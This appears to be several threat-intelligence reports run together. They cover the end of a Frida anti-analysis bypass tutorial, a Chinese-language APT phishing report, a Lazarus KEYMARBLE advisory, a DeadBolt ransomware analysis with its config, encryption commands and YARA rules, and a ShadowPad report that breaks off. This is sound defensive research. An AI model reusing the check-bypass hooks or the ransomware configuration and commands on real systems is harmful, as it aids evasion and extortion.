Interceptor.replace(timePtr, new NativeCallback(function () { console.log("[+] native time bypass : ") return 1554519179 }, 'long', ['long'])); Java.perform(function () { var f = Java.use("android.telephony.TelephonyManager") var t = Java.use('java.util.Date') // country bypass f.getSimCountryIso.overload().implementation = function () { console.log("Changing country from " + this.getSimCountryIso() + " to tr ") return "tr" } t.getTime.implementation = function () { console.log("[+] Java date bypass ") return 1554519179000 } }); ``` ## Homework This part is homework for the reader. The next version of this malware only uses native ARM binaries. So we can’t easily debug without having an ARM-based device. But we can use our dex dropper Python script. Load the ARM binary to Ghidra. Find the correct offset of the dex data block and the size of the block. The `dex_extractor` function might look different, but it does the same thing. So you need to only change the name of the files, offset, and size variables in the Python script. Hash of the dropped dex file: `7ff02fb46009fc96c139c48c28fb61904cc3de60482663631272396c6c6c32ec`. ## Conclusion We attached gdb to debug native code and found certain checks. We wrote a Ghidra script to automate the decryption of strings and a Frida script to bypass checks. We also learned that PNG files need to be converted with Bitmap to get pixel values. So next time you see a PNG file and a suspicious app, look for bitmap calls.
# 安天针对绿斑组织近期APT攻击活动的分析报告 ## 概述 安天于2007年发现来自中国台湾地区相关攻击组织的初始线索,于2010年发现其进一步活动,于2013年发现其相关组织背景,于2014年将该组织命名为“绿斑”,于2018年公开发布报告《“绿斑”行动——持续多年的攻击》。同年10月该报告被中央电视台《焦点访谈》节目引用作为宣传网络安全的案例。 近期,安天CERT在梳理安全事件时,发现一批针对我国政府、科研等机构的鱼叉邮件攻击活动。经分析,这批攻击活动的手法和代码与2019年的绿斑组织活动基本一致。鱼叉邮件中多数为钓鱼链接,目的是钓取目标邮箱账户和密码信息,钓取成功后转向一个下载页面,下载到的均为看似来自官方的正常文件。另有少数邮件带有压缩包附件,里面包含的恶意文件负责释放后续的窃密程序。我们基于已掌握的数据进行汇总、梳理、分析并形成本篇报告。 通过溯源分析发现,存在部分邮件、文档的正文和钓鱼网页的源码包含有繁体中文字,多封邮件的发件IP位于中国台湾地区,邮件字体的格式为台湾地区特有的“新細明體”,这些痕迹意味这批活动背后的攻击者可能来自中国台湾。相关攻击活动特征总结如下: ## 鱼叉邮件分析 目前观测到的鱼叉邮件主要有两种模式:正文投递钓鱼网站链接、附件投递木马文件。攻击者注册了多个163邮箱,伪装成民间智库项目经理、猎头顾问、采访者、产业联盟主任等身份发送针对性攻击邮件,在正文的末尾附上以“从QQ邮箱发来的超大附件”、“微云的文件”或“从网易163邮箱发来的云附件”等为标题的钓鱼链接,欺骗攻击目标点击打开,或者直接发送包含恶意代码的RAR附件,欺骗攻击目标下载打开。 ## 钓鱼网站分析 根据安天的监测,这些大规模的邮箱钓鱼攻击活动至少开始于2018年,页面非常具有欺骗性。攻击者在获取受害者输入的账号密码后,一般很快会使用代理(有时用Opera浏览器自带VPN)做登录验证,后续可能会翻阅邮件提取价值,监测受害者动向,以至借此账号向其他目标发送攻击邮件。目前发现的钓鱼网站绝大多数使用动态域名,服务器基本购买自VPS提供商Vultr,按照钓鱼网页的形式主要分为两类: 1. 伪装成常用邮箱的“云附件”登录页面,窃取受害者输入的凭证后,跳转至无毒文件的下载页面。 2. 伪装成目标单位的官方邮箱网站。 ### 钓鱼类型1 类型1钓鱼页面:例如网页伪装成“QQ邮箱中转站文件”,弹出窗口提示受害者输入常用邮箱的账号和密码,点击“验证下载”后跳转至文件下载页面,受害者可以下载到一份貌似来自官方的无毒文件,让整个过程看起来较为真实。 实际上“邮箱帐号安全验证”是个盗号窗口,该窗口由“qqframe.html”实现,受害者输入的帐号密码会被发送到钓鱼网站本地的“login.php”,最终到达攻击者手中。 此外,还有主题伪装成“网易云附件下载”的钓鱼网站,同QQ邮箱钓鱼手法一样,受害者输入网易邮箱的账号密码点击“登录”后,跳转至文件下载页面,也能下载到一份貌似来自官方的无毒压缩包。 ### 钓鱼类型2 类型2钓鱼页面:伪装成攻击目标的官方邮箱网站,受害者输入账号密码点击“登录”后,钓鱼网站跳转到真正的官方网站,刚才输入的账号密码已发往钓鱼网站本地的“castc.php”文件,最终被攻击者窃取。 ## 恶意附件分析 邮件的恶意附件是RAR格式的压缩包,包含一个白文档,一个恶意快捷方式和一个恶意RTF文档。白文档的内容根据攻击目标定制,使之看起来像来自于官方。恶意LNK文件的执行对象指向mshta程序以运行远程的恶意HTA脚本,但目前该链接已失效,无法继续分析。RTF文件嵌入了一个窃密程序,当RTF被打开的时候会释放窃密程序到Windows临时目录,但该窃密程序无法执行。 窃密程序使用VC++语言编写,编译时间为2019年12月12日,所属的木马家族至少从2019年开始活跃。程序运行后会利用SSE指令解密C2地址和端口,然后与C2建立连接、遍历磁盘,避开重要目录,搜索后缀名称为doc、docx、csv、lnk的文件,并将文件信息和内容异或加密后发送到C2。 ## 溯源分析 通过溯源分析发现,这批攻击活动背后的攻击者可能来自中国台湾地区。钓鱼网站的网页源码存在繁体中文的注释,多例白文档的默认字体为“中国(台湾)”。多封鱼叉邮件的发件源IP位于中国台湾地区台北市。部分邮件正文的简体字句中存在繁体字,字体格式为台湾地区特有的“新細明體”。 ## 威胁框架视角的攻击映射 本次系列攻击活动共涉及ATT&CK框架中的7个阶段19个技术点,具体行为描述如下: ## 小结 绿斑攻击组织在长时间内表现出有坚定持续的攻击意志,是一个主要面向国防军工领域范围的APT攻击组织。该组织的特点是在漏洞积累方面资源较为贫乏,历史上除极少数利用的0day漏洞外,基本上以使用陈旧漏洞为主,但该组织的社会工程技巧能力非常强,善于运用邮件入口构造与收件人高相关性内容,依托社工技巧诱导被攻击者打开相关链接或载荷来实施攻击。 可以看到,整体上邮件系统作为一种高暴露的安全资产和入口,往往是APT攻击组织的一个重要的入口点,从目前来看暴露出了四个问题:第一,目前存在一些在公务和科研活动中使用个人信箱的情况;第二,在当前整个的邮件安全环节上,缺少有效的防护体系;第三,在端点上缺少能够有效对抗APT相关攻击的解决方案;第四,相应的防卫目标没有覆盖重要科研和相关人员的个人电脑和相关信息资产。因此,结合以上问题我们提出以下四点应对建议: 1. 明确机构和个人邮件安全使用的边界和安全要求。 2. 对政企邮件使用安全解决方案。 3. 在端点系统上安装具备有效防护能力,同时具备EPP+EDR特性的防护软件。 4. 将安全感知和防护范围扩展到关键人员的个人设备和家庭信息环境中。
# SE IDENTIFICÓ ATAQUES DEL GRUPO CIBERCRIMINAL LAZARUS DIRIGIDOS A ORGANIZACIONES EN RUSIA Security researchers have concluded that the cybercriminal group sponsored by the state of North Korea, Lazarus, would be conducting suspicious activities aimed at companies based in Russia. This is based on the connections discovered between the tactics, techniques, and tools detected and the way of operation of the group also known as Hidden Cobra. ## Services Affected - Microsoft Windows Operating Systems ## Technical details The Lazarus campaign aimed at Russia uses malicious Office documents delivered as ZIP files, along with a PDF document called NDA_USA.pdf that contains a StarForce Technologies agreement, which is a Russian software company that provides copy protection software. The security community believes that Lazarus is divided into at least two subdivisions: the first called Andariel, which focuses on attacking the government and organizations of South Korea, and the second, Bluenoroff, whose main focus is monetization and global espionage. This incident, however, represents an unusual victim choice by the North Korean threat actor. In general, these attacks reflect geopolitical tensions between the Democratic People's Republic of Korea (DPRK) and nations such as the United States, Japan, and South Korea. ## Infection chain The main infection flow consists of the following three main steps: 1. A ZIP file containing two documents: a benign decoy PDF document and a malicious Word document with macros. 2. The malicious macro downloads a VBS script from a Dropbox URL, followed by the execution of the VBS script. 3. The VBS script downloads a CAB file from the server in the download area, extracts the embedded EXE file (KEYMARBLE) with the Windows "expand.exe" utility, and finally executes it. ### KEYMARBLE This malware is a remote administration tool (RAT) that provides its operators with basic functionality to retrieve information from the victim's computer. Once executed, it performs several initializations, contacts a Command and Control server (C & C), and waits indefinitely to receive new commands. Each received command is processed by the backdoor and is handled within an appropriate function, which in turn collects information or performs an action on the target computer. ## Indicators of Commitment (IoC) **IP** - 194.45.8.41 - 37.238.135.70 **Hashes** - MD5: dc3fff0873c3e8e853f6c5e01aa94fcf - SHA256: 1c4745c82fdcb9d05e210eff346d7bee2f087357b17bfcf7c2038c854f0dee61 - MD5: 704d491c155aad996f16377a35732cb4 - SHA256: e23900b00ffd67cd8dfa3283d9ced691566df6d63d1d46c95b22569b49011f09 - MD5: 2b68360b0d4e26d2b5f7698fe324b87d - SHA256: 49a23160ba2af4fba0186512783482918b07a32b0e809de0336ba723636ae3b6 - MD5: a7be38e8f84c5ad9cce30d009dc31d32 - SHA256: f4bdf0f967330f9704b01cc962137a70596822b8319d3b35404eafc9c6d2efe7 - MD5: 7646d1fa1de852bb99c621f5e9927221 - SHA256: 9894f6993cae186981ecb034899353a04f1a9b009bdf265cecda9595b725ee20 - MD5: 22d53ada23b2625265cdbddc8a599ee0 - SHA256: 8e099261929b1b09e9d637e8d054d5909b945b4157f29337977eb7f5fb835e5d It is recommended that our clients follow the following preventive actions to reduce risks: ### For information security personnel: - Maintain a protocol of strict updates of operating systems, antivirus, and all applications that run on them. - Constantly raise awareness among users on issues related to computer security. - Restrict the ability (permissions) of users to install and run unwanted software applications. Do not add users to the local administrators group unless it is necessary. - Block the indicators of commitments (IOC) shown, in the security devices of your infrastructure. **Before blocking the IOCs, it is important that previously in the development environment, validation and confirmation be made at the level of internal and external services, in order to apply the changes in a controlled manner.** ### For end users: - Verify the account information that sends you an email, the name and address of the recipient to identify if they are suspicious. - Do not open emails of dubious origin (unknown sender), or click on links, or download unknown attachments. - To detect a spam or phishing email report immediately to the information security managers of your institution. - Scan all software downloaded from the Internet before execution. - Visit secure web pages (https), and verify the digital certificate with a click on the padlock on the status bar. ## Sources - Source 1: North Korea Turns Against New Targets ?! - Source 2: North Korean APT Lazarus Targets Russian Entities with KEYMARBLE Backdoor If you have any questions, do not hesitate to contact us: [email protected]
# Closing the Door: DeadBolt Ransomware Locks Out Vendors With Multitiered Extortion Scheme In this report, we investigate the reasons that the DeadBolt ransomware family is more problematic for its victims than other ransomware families that previously targeted NAS devices. By Stephen Hilt, Éireann Leverett, Fernando Mercês The DeadBolt ransomware kicked off 2022 with a slew of attacks that targeted internet-facing Network-Attached Storage (NAS) devices. It was first seen targeting QNAP Systems, Inc. in January 2022. According to a report from attack surface solutions provider Censys.io, as of Jan. 26, 2022, out of 130,000 QNAP NAS devices that were potential targets, 4,988 services showed signs of a DeadBolt infection. A few weeks later, ASUSTOR, another NAS devices and video surveillance solutions vendor, also experienced DeadBolt ransomware attacks that targeted an unknown number of its devices. In March, DeadBolt attackers once again targeted QNAP devices; according to Censys.io, the number of infections reached 1,146 by March 19, 2022. Most recently, on May 19, 2022, QNAP released a product security update stating that internet-connected QNAP devices were once again targeted by DeadBolt, this time aiming at NAS devices using QTS 4.3.6 and QTS 4.4.1. It’s interesting to note that the number of DeadBolt-infected devices is considerably high for a ransomware family that is exclusively targeting NAS devices. Earlier in 2022, we discussed the evolving landscape of attacks waged on the internet of things (IoT) and how cybercriminals have added NAS devices to their list of targeted devices. Our report detailed the ransomware families that cybercriminals used to target NAS devices, which include Qlocker, eCh0raix, and even bigger ransomware families such as REvil (aka Sodinokibi). DeadBolt is peculiar not only for the scale of its attacks but also for several advanced tactics and techniques that its malicious actors have implemented, such as giving multiple payment options, one for the user and two for the vendor. However, based on our analysis, we did not find any evidence that it’s possible for the options provided to the vendor to work due to the way the files were encrypted. Essentially, this means that if vendors pay any of the ransom amounts provided to them, they will not be able to get a master key to unlock all the files on behalf of affected users. Consider this example to understand this particular DeadBolt tactic: A crime group changes every lock in an entire apartment complex. The group then informs the apartment complex owner that they can give the apartment complex owner a master key that would allow the owner to successfully unlock all the apartment doors for his tenants if he pays them a certain amount. But in reality, the locks that the crime group installed are not master-keyed locks, making it impossible for the apartment complex owner to open the locks with one master key. NAS devices typically contain sensitive files for both personal users and organizations. The never-before-seen volume of NAS devices that this ransomware family has infected in a short period has led us to an investigation of DeadBolt. In this report, we investigate the reasons that the DeadBolt ransomware family is more problematic for its victims than other ransomware families that previously targeted NAS devices. We also used pertinent data to check if any user or vendor paid ransom, and how much the ransomware actors made from these attacks. ## Research highlights - The DeadBolt ransomware family targets QNAP and Asustor NAS devices. - This ransomware uses a configuration file that will dynamically choose specific settings based on the vendor that it targets, making it scalable and easily adaptable to new campaigns and vendors. - DeadBolt offers two different payment schemes: either a victim pays for a decryption key, or the vendor pays for a decryption master key that would theoretically work to decrypt data for all victims. However, as of this writing, we have yet to find evidence that decryption via a master key is possible. - No more than 8% of DeadBolt victims paid the ransom amount. - Based on our analysis, DeadBolt actors have notable web and operating system development skills. ## Technical analysis On the technical side, DeadBolt is reasonably interesting: It combines both encryption and decryption functionalities in a single executable that parses a JSON-based configuration file that includes ransom prices and contact details. It also creates a nicely formatted webpage so that victims can have easy access to the ransom message and instructions. DeadBolt samples are 64-bit Linux Executable and Linkable Format (ELF) files that have been compiled using the Go programming language. The malware is meant to be run manually by an attacker, or at least in a post-compromised environment. If one tries to execute a DeadBolt sample in a new, uncompromised environment, it just tells the user how to use it and then exits: ``` $ ./444 encrypt usage: ./444 -e <config> <dir> decrypt usage: ./444 -d <key> <dir> ``` The two supported operation modes are encrypt (-e) and decrypt (-d). For encrypting, DeadBolt expects a JSON configuration file that we have yet to find in the wild. However, by reversing the file, we can infer a valid configuration file expected to be passed as an argument to the DeadBolt main executable: ```json { "key": "5da2297bad6924526e48e00dbfc3c27a", "cgi_path": "./cgi.sh", "client_id": "fb2e2de57fb405512f539a1c302e2b4f", "vendor_name": "Testing Vendor", "vendor_email": "contact@testingvendor", "vendor_amount": "0.5", "payment_amount": "0.1", "vendor_address": "3FZbgi29cpjq2GjdwV8eyHuJJnkLtktZc5", "master_key_hash": "2dab7013f332b465b23e912d90d84c166aefbf60689242166e399d7add1c0189", "payment_address": "1F1tAaz5x1HUXrCNLbtMDqcw6o5GNn4xqX", "vendor_amount_full": "1.0" } ``` The parameters are explained as follows: - **cgi_path**: This is the path where a Bash Common Gateway Interface (CGI) script will be written. This script is later used to replace a legitimate script used in the device administration web interface. - **client_id**: This ID will be added to the encrypted files. - **key**: A 128-bit Advanced Encryption Standard (AES) key used for encrypting individual files. - **master_key_hash**: The SHA-256 hash master key. - **payment_amount**: The ransom amount that the victim would need to pay to get a decryption key. - **payment_address**: A Bitcoin wallet ID that the victim will use to pay the ransom amount. - **vendor_amount**: The ransom amount that the actors will try to charge the vendor for disclosing vulnerability details. - **vendor_amount_full**: The ransom amount that a vendor would need to pay to get the decryption master key and vulnerability details. - **vendor_address**: A Bitcoin wallet ID that the vendor will use to pay the ransom amount. - **vendor_name**: Should contain the vendor name of the victim’s device, such as QNAP. - **vendor_email**: Contains the vendor’s email address. Besides a valid JSON configuration file, the DeadBolt executable expects to receive a directory to start encrypting or decrypting files. This is one of the first times during our analysis that we discovered how DeadBolt differs from other NAS ransomware families before it: It has an amount that the vendor, such as ASUSTOR or QNAP, could theoretically pay to get all of the victims' information back. Additionally, this is one of the first times that we have seen two ransoms in one attack — one for the victims so that they can regain access to their files and data and one for the NAS vendor. This two-pronged ransom demand tactic could also be highly effective in the case of a service provider in a supply chain compromise. In fact, the REvil group implemented a similar approach in its attack on Kaseya, in which an intrusion set that Trend Micro dubbed “Water Mare” was deployed. The approach involves an attacker taking over a software company and then pushing out a backdoored software update that installs embedded malware. The victims can choose to pay the ransom amount themselves, but they are also more likely to put pressure on the vendor to pay the ransom on their behalf. DeadBolt actors demand individual victims to pay 0.03 bitcoin (US$1,159.56 as of this publishing) to get their data back, which is quite a lot of money to demand for encrypted NAS devices. Meanwhile, the vendors are given two ransom payout options: one is for just the information about the exploit, with the ransom demand starting at 5 bitcoins (US$193,259.50 as of this publishing), while the other is for the exploit information and the master decryption key, with a ransom demand of 50 bitcoins (US$1,932,595.00 as of this publishing). We ran a test to see if DeadBolt can encrypt test files in a $HOME/test folder: ``` $ mkdir test $ cp /bin/ls test/document.docx $ cp /bin/top test/spreadsheet.xls ``` Entropy, a numeric indication of the degree of randomness, suggests that the higher the number, the more random it is. Higher numbers, or numbers with an entropy value greater than 7.0, also often indicate that a file is encrypted, compressed, or packed if the file is an executable. Finding the entropy of a file is a simple test to ensure that the ransomware is properly encrypting files. Here is an example that shows the entropy of some test files: ``` $ entropy test/* 5.85 test/document.docx 5.83 test/spreadsheet.xls ``` After providing the JSON configuration file and running DeadBolt on the test files, the files were encrypted, a .deadbolt extension was appended to them, and a ransom note was created: ``` $ ./444 -e deadbolt.json test/ done $ ls test/ document.docx.deadbolt '!!!_IMPORTANT_README_WHERE_ARE_MY_FILES_!!!.txt' spreadsheet.xls.deadbolt ``` After we ran DeadBolt on our test files, the entropy values increased from 5.8 to 8.0. ### Encryption DeadBolt uses AES-128-CBC to encrypt files with a provided key from the configuration file. After encrypting the file’s content, it appends the following data to the encrypted file in binary format: - A “DeadBolt” string - The original file size - A 16-byte client (victim) ID - The AES initialization vector (IV) that is different for each file - The SHA-256 of the AES 128-bit key - The SHA-256 of the “master” key - 16 null-bytes ### Ransom Note A file named “!!!_IMPORTANT_README_WHERE_ARE_MY_FILES_!!!.txt” is created on the infected device’s target root directory. A ransom note is also shown when victims try to access the web administration page of their NAS devices. This is because DeadBolt replaces the legitimate CGI script to show this ransomware page. It is important to point out here that the prices, vendor names, and contact information were all manually crafted in our JSON configuration file, and such values do not reflect the actual values that DeadBolt victims will see in their systems. ### Decryption We verified that the decryption can be done with the correct key that was provided via the JSON file when the ransomware executable is run. Additionally, the previously shown web page has a feature that calls the ransomware executable by passing the provided key to it: By using the correct key, victims can decrypt their files using the infected device’s web user interface (UI). This is another example of how much effort DeadBolt actors have put into the development of this ransomware family. While other ransomware families use hard-to-follow steps that victims would need to take to get their data back, DeadBolt creators built a web UI that can decrypt victim data after ransom is paid and a decryption key is provided. The OP_RETURN field of the blockchain transaction automatically provides the decryption key to the victim once the ransomware payment is done. This is a unique process wherein victims do not need to contact the ransomware actors — in fact, there is no way of doing so. Other ransomware families (such as CTB-Locker) have previously used this technique in their campaigns. It should be noted that we were not able to verify how the alleged master key decryption works. In our tests, we found no evidence that such a decryption is even possible for files encrypted by DeadBolt. This is because AES is a symmetric encryption scheme and we have not seen any other data being added to the encrypted files. Notably, the “master key” supplied via the configuration file is never used in the encryption process. ### DeadBolt over time Censys stated that they originally saw almost 5,000 infected services from DeadBolt. We looked into this data and saw that the number of infected DeadBolt systems has been decreasing. According to our data, the highest number of infections was in March 2022. However, we observed that some systems replied with multiple HTTP titles. This indicates a ransomware infection, so it is possible to have more than one infection noted per device. For example, if a NAS device has both HTTP port 80 and HTTPS port 443 open, this single device would count for two infections. As we kept looking into the data, although both QNAP and ASUSTOR were targeted by DeadBolt, we found that most of the infections were on QNAP devices. There were only around 350 devices that were infected on ASUSTOR devices at the peak of the infections, and this number had gone down to 95 ASUSTOR internet-connected devices that are currently infected by DeadBolt. It’s worth remembering that a NAS infection does not equate to an endpoint infection. NAS devices frequently hold significant amounts of storage for their users, much of which might not be recoverable in the event of an attack. Even with at least 2,300 infected QNAP and ASUSTOR devices that are still connected to the internet, it should be noted that the number of infected devices is going down. This is probably because users are either taking their systems offline or are paying the ransom amount to get their files back. However, with an increasing number of ransomware families being used to attack NAS devices, the number of NAS devices exposed to the internet is becoming even more alarming. At the time of this writing, we found that there are over 2,500 ASUSTOR and over 83,000 QNAP internet-exposed services. ### What can the economics and statistics tell us? One unique facet of DeadBolt operations is that when victims pay the ransom, the decryption information is automatically put into the blockchain as part of the OP_RETURN section of a transaction. This is interesting because it allows us to see exactly when and for how much these payments were made. For example, we observed DeadBolt actors charging 0.03 bitcoins for individual keys, 5 or 7.5 bitcoins for giving out vulnerability details, and 50 bitcoins for full vulnerability information and the master key. We also observed that unlike the more targeted business model of “big-game hunting” that most well-known ransomware families use, negotiating a ransom amount is not possible with DeadBolt. This is more common among other volume-focused ransomware because it’s simply not economical to directly interact with many victims. While the economics might be a bit dry, the amounts are worth detailing because they give us an idea of how these groups operate. The fact that the price of 50 bitcoins (around US$1.9 million as of this publishing) is listed shows us the price that the ransomware group is aiming to obtain for this operation. This reveals that they never expected to make the US$4.4 million maximum amount that Censys projected. Let's take that logic a bit further and analyze DeadBolt’s success in pure business terms. It therefore appears that DeadBolt actors would have been more than happy if 43% of their victims paid ransom — or they never expected more than 40% of their victims to pay. In reality, only 8% of victims have paid to date. Based on our analysis, victims who paid DeadBolt’s ransom did so within the first 20 days, and the number of victims who paid the ransom tapered off during the last 80 days. This data shows that the chances of people paying ransom decreases over time, so it is increasingly unlikely that more DeadBolt victims will pay the ransom amount after a certain period. ### Security recommendations Users and organizations can keep their NAS devices secure by implementing the following security recommendations: - Regularly update your NAS devices. Make sure that the latest patches have been installed as soon as they are available. - Keep NAS devices offline. If you need to access your NAS device remotely, do it securely by opting to use either your NAS vendor’s remote access services (which most major NAS vendors offer) or use a virtual private network (VPN) solution. - Use a strong password and two-factor authentication (2FA). Do not use weak passwords or default credentials. If your NAS device supports 2FA, enable it to add an extra layer of protection against brute force attacks. - Keep your connection and ports secure. Keep incoming and outgoing traffic secure by enabling HTTPS instead of HTTP. Remember to close all unused communication ports and change default ports. - Shut down or uninstall unused and out-of-date services. Remove unused or out-of-date services to reduce the risk of NAS device compromise. ### Conclusion Overall, the total ransom amount that was paid was low in comparison to the number of infected devices, which led us to the conclusion that most people didn’t pay the ransom. It’s also worth pointing out that DeadBolt’s ransom amount costs more than the price of a brand-new NAS device, which is possibly why the majority of its victims were not willing to pay to keep their data. Presumably, if the cost was higher, even more victims would be less likely to pay. The goal of DeadBolt actors is to infect as many victims as possible to get a decent payout or to get a vendor to pay one of the ransom options to get substantial financial payouts from its attacks. Even though the vendor master decryption key did not work in DeadBolt’s campaigns, the concept of holding both the victim and the vendors ransom is an interesting approach. It’s possible that this approach will be used in future attacks, especially since this tactic requires a low amount of effort on the part of a ransomware group. DeadBolt represents several innovations in the ransomware world: It targets NAS devices, has a multitiered payment and extortion scheme, and has a flexible configuration. But perhaps its main contribution to the ransomware ecosystem will be the legacy of its heavily automated approach. There is a lot of attention on ransomware families that focus on big-game hunting and one-off payments, but it’s also important to keep in mind that ransomware families that focus on spray-and-pray types of attacks such as DeadBolt can also leave a lot of damage to end users and vendors. ### Indicators of compromise (IOCs) - **SHA-256**: 3c4af1963fc96856a77dbaba94e6fd5e13c938e2de3e97bdd76e1fca6a7ccb24 - Detection: Ransom.Linux.DEADBOLT.YXCEP - **SHA-256**: 80986541450b55c0352beb13b760bbd7f561886379096cf0ad09381c9e09fe5c - Detection: Ransom.Linux.DEADBOLT.YXCEP - **SHA-256**: e16dc8f02d6106c012f8fef2df8674907556427d43caf5b8531e750cf3aeed77 - Detection: Ransom.Linux.DEADBOLT.YXCEP - **SHA-256**: acb3522feccc666e620a642cadd4657fdb4e9f0f8f32462933e6c447376c2178 - Detection: Ransom.Linux.DEADBOLT.YXCEP - **SHA-256**: 14a13534d21d9f85a21763b0e0e86657ed69b230a47e15efc76c8a19631a8d04 - Detection: Ransom.Linux.DEADBOLT.YXCEP - **SHA-256**: 444e537f86cbeeea5a4fcf94c485cc9d286de0ccd91718362cecf415bf362bcf - Detection: Ransom.Linux.DEADBOLT.YXCEP ### Yara rules ```yara rule deadbolt_cgi_ransomnote : ransomware { meta: description = "Looks for CGI shell scripts created by DeadBolt" author = "Trend Micro Research" date = "2022-03-25" hash = "4f0063bbe2e6ac096cb694a986f4369156596f0d0f63cbb5127e540feca33f68" hash = "81f8d58931c4ecf7f0d1b02ed3f9ad0a57a0c88fb959c3c18c147b209d352ff1" hash = "3058863a5a169054933f49d8fe890aa80e134f0febc912f80fc0f94578ae1bcb" hash = "e0580f6642e93f9c476e7324d17d2f99a6989e62e67ae140f7c294056c55ad27" strings: $= "ACTION=$(get_value \"$DATA\" \"action\")" $= "invalid key len" $= "correct master key" $= "'{\"status\":\"finished\"}'" $= "base64 -d 2>/dev/null" condition: uint32be(0) != 0x7F454C46 // We are not interested in ELF files here and all of them } rule deadbolt_uncompressed : ransomware { meta: description = "Looks for configuration fields in the JSON parsing code" author = "Trend Micro Research" date = "2022-03-23" hash = "444e537f86cbeeea5a4fcf94c485cc9d286de0ccd91718362cecf415bf362bcf" hash = "80986541450b55c0352beb13b760bbd7f561886379096cf0ad09381c9e09fe5c" hash = "e16dc8f02d6106c012f8fef2df8674907556427d43caf5b8531e750cf3aeed77" strings: $= "json:\"key\"" $= "json:\"cgi_path\"" $= "json:\"client_id\"" $= "json:\"vendor_name\"" $= "json:\"vendor_email\"" $= "json:\"vendor_amount\"" $= "json:\"payment_amount\"" $= "json:\"vendor_address\"" $= "json:\"master_key_hash\"" $= "json:\"payment_address\"" $= "json:\"vendor_amount_full\"" condition: elf.type == elf.ET_EXEC and all of them } ```
# ShadowPad: New Activity from the Winnti Group ## Introduction During threat research in March 2020, PT Expert Security Center specialists found a previously unknown backdoor and named it xDll, based on the original name found in the code. As a result of a configuration flaw of the malware's command and control (C2) server, some server directories were externally accessible. The following new samples were found on the server: - ShadowPad - A previously unknown Python backdoor - Utility for progressing the attack - Encrypted xDII backdoor ShadowPad is used by Winnti (APT41, BARIUM, AXIOM), a group that has been active since at least 2012. This state-sponsored group originates from China. The key interests of the group are espionage and financial gain. Their core toolkit consists of malware of their own making. Winnti uses complex attack methods, including supply chain and watering hole attacks. The group knows exactly who their victims are. They develop attacks very carefully and deploy their primary tools only after detailed reconnaissance of the infected system. The group attacks countries all over the world: Russia, the United States, Japan, South Korea, Germany, Mongolia, Belarus, India, and Brazil. The group tends to attack the following industries: - Gaming - Software development - Aerospace - Energy - Pharmaceuticals - Finance - Telecom - Construction - Education The first attack with ShadowPad was recorded in 2017. This backdoor has been often used in supply chain attacks such as the CCleaner and ASUS hacks. ESET released its most recent report about Winnti activities involving ShadowPad in January 2020. We didn't find any connection with the current infrastructure. However, during research, we found that the new ShadowPad infrastructure had commonalities with infrastructures of other groups, which may mean that Winnti was involved in other attacks with previously unknown organizers and perpetrators. This report contains a detailed analysis of the new network infrastructure related to ShadowPad, new samples of malware from the Winnti group, and also analysis of ties to other attacks possibly associated with the group. ## 1. Network Infrastructure ### 1.1. Detecting ShadowPad Initially, when the xDll backdoor was analyzed, it could not be clearly tied to any APT group. The sample had a very interesting C2 server, www.g00gle_jp.dynamic-dns[.]net, which potentially could indicate attacks against Japan. When we studied the network infrastructure and searched for similar samples, we found several domains with similar names. The domain names give reason to suspect that attacks also target South Korea, Mongolia, Russia, and the United States. When we studied the infrastructure further, we found several simple downloaders unfamiliar to us. They contact related C2 servers, and in the response should receive a XOR-encrypted payload with key 0x37. The downloader we found was named SkinnyD (Skinny Downloader) for its small size and bare-bones functionality. The URL structure and some lines in SkinnyD make it very similar to the xDll backdoor. At first, we could not obtain the payload for SkinnyD, because all C2 servers were inactive. But after a while, we found new samples of the xDII backdoor. When we analyzed one of the samples, we found some public directories on its C2 server. The file called x.jpg is an xDll backdoor encrypted with XOR with key 0x37. This suggests that xDll is a payload for SkinnyD. The most interesting thing on the server is the contents of the "cache" directory. It contains data about the victims and the malware downloaded to infected computers. The name of the victim file contains an MD5 hash of the MAC address for the infected computer sent by xDll; the file contents include the time of the last connection to the C2 server. Based on the changes in the second part of the name of the malware file, server time might seem to be indicated in nanoseconds. But that cannot be true, since that would take us back all the way to March 1990. Ultimately, we don't know why this time period was selected. In the malware files, we found ShadowPad, a previously unknown Python backdoor, and utilities for progressing the attack. Detailed analysis of the malware and utilities is provided in Section 2. At certain intervals, the attackers request information from infected computers via the xDII backdoor. This information is saved to the file list.gif. We should note that in the xDII samples we have, the Domain field contains the name of the domain where the infected computer is located. However, in the log, that field for almost all computers contains the SID of the user whose name was used to launch xDII. That may be an error in the code of a certain xDII version, because this value does not provide any useful information to the attackers. Going deeper into the network infrastructure, we found that many servers have the same chain of SSL certificates with the following parameters: - Root: C=CN, ST=myprovince, L=mycity, O=myorganization, OU=mygroup, CN=myCA, SHA1=0a71519f5549b21510410cdf4a85701489676ddb - Base: C=CN, ST=myprovince, L=mycity, O=myorganization, OU=mygroup, CN=myServer, SHA1=2d2d79c478e92ade25e661ff1a68de0833b9d9b We have encountered this certificate in several publications about ShadowPad attacks. The first one is an investigation of the 2017 attack on CCleaner. Avast has provided details regarding the attack. A screenshot, included there, shows the same certificate. The second is a talk by FireEye researchers at Code Blue 2019 about cyberattacks against Japanese targets. In one of the attacks, the researchers found the use of POISONPLUG (the name for ShadowPad used by FireEye). Analysis of the infrastructure revealed the same certificate on ShadowPad C2 servers. Searching for servers with this certificate helped us not only detect new ShadowPad samples and C2 servers, but also find connections to other attacks previously not attributed to Winnti. As a result, we found over 150 IP addresses with this certificate, or addresses where it had been installed previously. Of these, 24 addresses were active at the time of writing of this article. There were also 147 domains related to those addresses. For the domains, we found Winnti malware. During our research, the group's domains relocated from one IP address to another many times, which is indicative of active attack operations. However, the motive for using the same SSL certificate on almost all ShadowPad C2 servers was not clear. This may be the result of having the same system image installed on the C2 servers, or else simple overconfidence. We saw the same thing with certificates when researching the activity of the TaskMasters group. At some point, the attackers started installing self-signed certificates with identical metadata on their servers, which ultimately helped us in finding their infrastructure. The following figure shows the distribution of detected IP addresses by location: - Hong Kong: 4.4% - U.S.: 2.4% - South Korea: 47.6% - Malaysia: 3.4% - Singapore: 3.8% - China: 18.3% - Others: 20.2% - Russia: 1.9% - United Kingdom: 1% - Netherlands: 0.5% - Lithuania: 0.5% - Germany: 0.5% About half of the group's servers are located in Hong Kong. The IP addresses are distributed between 45 unique providers. More than half of the servers are concentrated on the IP addresses of six providers, five of which are in Asia (Hong Kong, China, and South Korea). ### 1.2. Links to Other Groups #### 1.2.1. TA459 In 2017, Proofpoint issued a report about attacks against targets in Russia and Belarus using ZeroT and PlugX. The report mentions the domain yandax[.]net, which was indirectly related to the infrastructure used in that attack. The domain was on the same IP address as one of the PlugX servers. WHOIS data of that domain looks as follows: In the past few years, the email address dophfg@yahoo[.]com has been used to register several more domains. In our study of 